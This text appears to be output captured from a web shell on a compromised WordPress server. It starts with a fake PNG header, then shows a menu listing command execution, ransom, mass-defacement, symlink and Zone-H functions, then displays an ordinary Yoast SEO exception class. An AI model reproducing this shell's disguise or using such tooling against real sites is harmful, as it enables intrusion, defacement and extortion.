\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82
| Path : /var/www/html/ob-wp-eski/wp-content/plugins/wordpress-seo/src/exceptions/ |
|
B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H |
| Current File : /var/www/html/ob-wp-eski/wp-content/plugins/wordpress-seo/src/exceptions/missing-method.php |
<?php
/**
* Exception to use when a method does not exist.
*
* @package Yoast\YoastSEO\Exceptions
*/
namespace Yoast\WP\Free\Exceptions;
/**
* The exception when a method does not exists.
*/
class Missing_Method extends \Exception {
/**
* Creates exception for a method that does not exists in a class.
*
* @param string $method The method that does not exists.
* @param string $class_name The class name.
*
* @return static Instance of the exception.
*/
public static function for_class( $method, $class_name ) {
return new static(
sprintf(
/* translators: %1$s expands to the method name. %2$s expands to the class name */
__( 'Method %1$s() does not exist in class %2$s', 'wordpress-seo' ),
$method,
$class_name
)
);
}
}